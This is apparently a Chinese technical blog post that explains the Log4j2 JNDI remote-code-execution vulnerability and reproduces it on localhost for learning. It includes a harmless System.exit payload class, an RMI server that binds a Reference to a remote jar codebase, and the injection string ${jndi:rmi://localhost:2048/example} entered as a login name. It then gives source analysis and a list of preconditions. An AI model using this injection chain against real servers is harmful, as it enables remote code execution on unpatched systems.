1 事件背景
經過一周時間的Log4j2 RCE事件的發酵,事情也變也越來越複雜和有趣,就連 Log4j 官方緊急釋出了 2.15.0 版本之後沒有過多久,又發聲明說 2.15.0 版本也沒有完全解決問題,然後進而繼續釋出了 2.16.0 版本。大家都以為2.16.0是最終終結版本了,沒想到才過多久又爆雷,Log4j 2.17.0橫空出世。
相信各位小夥伴都在加班加點熬夜緊急修複和改正Apache Log4j爆出的安全漏洞,各企業都瑟瑟發抖,連網警都通知各位站長,包括我也收到了湖南長沙高新區網警的通知。
我也緊急釋出了兩篇教程,給各位小夥伴支招,我之前釋出的教程依然有效。
【緊急】Apache Log4j任意代碼執行漏洞安全風險更新修複教程 【緊急】繼續折騰,Log4j再發2.16.0,強烈建議更新雖然,各位小夥伴按照教程一步一步操作能快速解決問題,但是很多小夥伴依舊有很多疑惑,不知其是以然。在這裡我給大家詳細分析并複現一下Log4j2漏洞産生的原因,純粹是以學習為目的。
Log4j2漏洞總體來說是通過JNDI注入惡意代碼來完成攻擊,具體的操作方式有RMI和LDAP等。
2 JNDI介紹
2.1 JNDI定義
JNDI(Java Naming and Directory Interface,Java命名和目錄接口)是Java中為命名和目錄服務提供接口的API,JNDI主要由兩部分組成:Naming(命名)和Directory(目錄),其中Naming是指将對象通過唯一辨別符綁定到一個上下文Context,同時可通過唯一辨別符查找獲得對象,而Directory主要指将某一對象的屬性綁定到Directory的上下文DirContext中,同時可通過名稱擷取對象的屬性,同時也可以操作屬性。
2.2 JNDI架構
Java應用程式通過JNDI API通路目錄服務,而JNDI API會調用Naming Manager執行個體化JNDI SPI,然後通過JNDI SPI去操作命名或目錄服務其如LDAP, DNS,RMI等,JNDI内部已實作了對LDAP,DNS, RMI等目錄伺服器的操作API。其架構圖如下所示:
2.3 JNDI核心API
| 類名 | 解釋 |
| -------- | -------- |
| Context | 命名服務的接口類,由很多的name-to-object的健值對組成,可以通過該接口将健值對綁定到該類中,也可通過該類根據name擷取其綁定的對象 |
| InitialContextNaming | (命名服務)操作的入口類,通過該類可對命名服務進行相關的操作 |
| DirContext | Directory目錄服務的接口類,該類繼承自Context,在Naming服務的基礎上擴充了對于對象屬性的綁定和擷取操作 |
| InitialDirContext | Directory目錄服務相關操作的入口類,通過該類可進行目錄相關服務的操作 |
Java通過JNDI API去調用服務。例如,我們大家熟悉的odbc資料連接配接,就是通過JNDI的方式來調用資料源的。以下代碼大家應該很熟悉:
<?xml version="1.0" encoding="UTF-8"?>
<Context>
<Resource name="jndi/person"
auth="Container"
type="javax.sql.DataSource"
username="root"
password="root"
driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/test"
maxTotal="8"
maxIdle="4"/>
</Context>
在Context.xml檔案中我們可以定義資料庫驅動,url、賬号密碼等關鍵資訊,其中name這個字段的内容為自定義。下面使用InitialContext對象擷取資料源
Connection conn=null;
PreparedStatement ps = null;
ResultSet rs = null;
try {
Context ctx=new InitialContext();
Object datasourceRef=ctx.lookup("java:comp/env/jndi/person"); //引用資料源
DataSource ds=(Datasource)datasourceRef;
conn = ds.getConnection();
//省略部分代碼
...
c.close();
} catch(Exception e) {
e.printStackTrace();
} finally {
if(conn!=null) {
try {
conn.close();
} catch(SQLException e) { }
}
}
是不是很熟悉呢?JNDI的其他應用在此我就不多做介紹了,如果還不了解JNDI/RMI/LDAP等相關概念的小夥伴請自行百度一下。
3 攻擊原理
下面我以RMI的方式為例,詳細複現步驟和分析原因。解釋基本攻擊原理之前,我們先來看一張時序圖:
1、攻擊者首先釋出一個RMI服務,此服務将綁定一個引用類型的RMI對象。在引用對象中指定一個遠端的含有惡意代碼的類。例如:包含 system.exit(1) 等類似的危險操作和惡意代碼的下載下傳位址。
2、攻擊者再釋出另一個惡意代碼下載下傳服務,此服務可以下載下傳所有含有惡意代碼的類。
3、攻擊者利用Log4j2的漏洞注入RMI調用,例如:logger.info("日志資訊 ${jndi:rmi://rmi-service:port/example}")。
4、調用RMI後将擷取到引用類型的RMI遠端對象,該對象将就加載惡意代碼并執行。
4 漏洞複現
4.1 建立惡意代碼
建立惡意代碼相關類,以下代碼僅供學習:
package com.tom.example.log4j;
public class HackedClassFactory {
public HackedClassFactory(){
System.out.println("程式即将終止");
System.exit(1);
}
}
建立HackedClassFactory類的定義,在構造函數裡寫入終止程式運作的惡意代碼。
4.2 釋出惡意代碼
将HackedClassFactory類打成jar包,釋出到HTTP伺服器上,能通過簡單的Get請求正常下載下傳即可。
4.3 建立RMI服務
編寫如下代碼,并運作程式:
package com.tom.example.rmi;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.util.Hashtable;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class HackedRmiService {
public static void main(String[] args) {
try {
int port = 2048; //設定RMI服務遠端監聽端口
//建立并釋出RMI服務
LocateRegistry.createRegistry(port);
Hashtable<String, Object> env = new Hashtable<String,Object>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://127.0.0.1" + ":" + port);
Context context = new InitialContext(env);
String serviceName = "example";
String serviceClassName = "com.tom.example.log4j.HackedClassFactory";
//指定惡意代碼的下載下傳位址
Reference refer = new Reference(
serviceName,
serviceClassName,
"http://127.0.0.1/example/classes.jar");
ReferenceWrapper wrapper = new ReferenceWrapper(refer);
//為RMI服務綁定一個引用類型的對象,此對象可以被遠端通路
context.bind(serviceName,wrapper);
}catch (Exception e){
e.printStackTrace();
}
}
}
RMI服務啟動之後,即釋出了監聽端口為2048的RMI服務。
運作 netstat -ano | find "2048" 指令檢驗,得到如下結果,說明RMI服務已經正常啟動,如下圖:
4.4 注入惡意代碼
下面我們利用Log4j的漏洞注入惡意代碼,有已知使用者登入的業務場景,小夥伴們先不管它是如何實作的,其代碼如下:
@RequestMapping(value="/login")
public ResponseEntity login(String loginName,String loginPass){
ResultMsg<?> data = memberService.login(loginName,loginPass);
//示範代碼,省略業務邏輯,預設為登入成功
log.info("登入成功",loginName);
String json = JSON.toJSONString(data);
return ResponseEntity
.ok()
.contentType(MediaType.APPLICATION_JSON)
.body(json);
}
利用Postman測試,首先正常通路能得到期望的結果,如下圖所示:
使用者登入成功後會正常傳回token,這看上去是一個正常操作。細心的小夥發現,在登入成功之後,背景會列印一條日志且輸出登入的使用者名。
接下來,我做一個非正常操作。将使用者名輸入為 ${jndi:rmi://localhost:2048/example}
我們發現程式已經無法響應,再看背景日志,已經終止運作。
這裡僅僅隻是示範效果,我編寫的惡意代碼隻是終止程式,如果攻擊者注入的是其他惡意代碼,那後果将不堪設想。
5 源碼分析
通過以上案例還原了攻擊者利用Log4j的漏洞對目标程式進行攻擊的完整過程,接下來分析一下Log4j的源碼進而了解根本原因。其罪魁禍首是Log4j2 的MessagePatternConverter元件中的format()方法,Log4j在記錄日志的時候會間接的調用該方法,具體源碼如下:
從源碼中我們可以發現該方法會截取 $ 和 { } 之間的字元串,将該字元作為查找對象的條件。如果字元是 jndi:rmi 這樣的協定格式則進行JNDI方式的RMI調用,進而觸發原生的RMI服務調用。具體調用位置在StrSubstitutor的substitute()方法:
private int substitute(LogEvent event, StringBuilder buf, int offset, int length, List<String> priorVariables) {
//此處省略部分代碼
...
this.checkCyclicSubstitution(varName, (List)priorVariables);
((List)priorVariables).add(varName);
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
if (varValue == null) {
varValue = varDefaultValue;
}
//此處省略部分代碼
...
}
上述代碼中的resolveVariable()最終會調用InitialContext的lookup()方法:
protected String resolveVariable(LogEvent event, String variableName, StringBuilder buf, int startPos, int endPos) {
StrLookup resolver = this.getVariableResolver();
return resolver == null ? null : resolver.lookup(event, variableName);
}
通過斷點調試,我們确實發現調用了RMI服務,下圖所示:
最終惡意代碼通過RMI加載完成以後,會調用javax.naming.spi.NamingManager的getObjectFactoryFromReference()方法加載惡意代碼,也就是我們之前寫的com.tom.example.log4j.HackedClassFactory類。首先會在嘗試本地找,如果本地找不到會通過遠端位址加載,也就是我們釋出的下載下傳服務,即
http://127.0.0.1/example/classes.jar加載遠端代碼之後,通過反射調用構造器建立攻擊類的執行個體,而惡意代碼編寫在構造器中,是以在被攻擊者的程式中間接執行了惡意代碼。
看到這裡,小夥伴們是不是有種和SQL注入如出一轍的感覺。
5 風險條件
該漏洞需要滿足以下條件才有可能被攻擊:
1、首先使用的是Logj4j2的漏洞版本,即 <= 2.14.1的版本。
2、攻擊者有機會注入惡意代碼,例如系統中記錄的日志資訊沒有任何特殊過濾。
3、攻擊者需要釋出RMI遠端服務和惡意代碼下載下傳服務。
4、被攻擊者的網絡可以通路到RMI服務和惡意代碼下載下傳服務,即被攻擊者的伺服器可以随意通路公網,或者在内網釋出過類似的危險服務。
5、被攻擊者在JVM中開啟了RMI/LDAP等協定的truseURLCodebase屬性為ture。
以上就是我對Log4j2 RCE漏洞的完整複現及根本原因分析,當然最高效的方式還是關閉Lookup相關功能。雖然,官方也在緊急修複,但涉及到軟體更新存在一定風險,還有可能需要大量的重複測試工作。
我在之前緊急釋出的教程依然有效,大家可以繼續參照用最高效可靠的方式解決問題。
關注微信公衆号『 Tom彈架構 』回複“Spring”可擷取完整源碼。
本文為“Tom彈架構”原創,轉載請注明出處。技術在于分享,我分享我快樂!如果您有任何建議也可留言評論或私信,您的支援是我堅持創作的動力。關注微信公衆号『 Tom彈架構 』可擷取更多技術幹貨!
原創不易,堅持很酷,都看到這裡了,小夥伴記得點贊、收藏、在看,一鍵三連加關注!如果你覺得内容太幹,可以分享轉發給朋友滋潤滋潤!